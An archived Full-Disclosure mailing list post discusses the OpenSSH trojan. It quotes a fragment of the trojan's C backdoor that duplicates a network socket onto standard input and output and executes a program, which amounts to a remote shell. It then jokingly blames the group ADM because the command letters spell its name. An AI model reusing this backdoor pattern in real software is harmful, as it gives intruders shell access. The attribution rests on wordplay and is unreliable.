full-disclosure - OpenSSH trojan! I KNOW WHO DID IT!

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <41005.212.45.90.103.1028211781.squirrel@www.core.gen.tr>
From: evrim at core.gen.tr (evrim@...e.gen.tr)
Subject: OpenSSH trojan! I KNOW WHO DID IT!

I may know who did it. Let's look at code:

                        switch(c) {
                        case 'A':
                                exit(0);
                        case 'D':
                                alarm(0);
                                dup2(s,0);
                                dup2(s,1);
                                dup2(s,2);
                                a[0]=i_val;
                                a[1]=NULL;
                                execve(a[0],a,NULL);

                                break;
                        case 'M':
                                alarm(0);
                                sig(0);
                                break;
                        default:

There are 3 options: Which makes up to A+D+M=ADM :-)))))))
ADM is back ? great eheheh.

-- 
Evrim ULU
evrim@...y.com.tr / evrim@...e.gen.tr
sysadm
http://www.core.gen.tr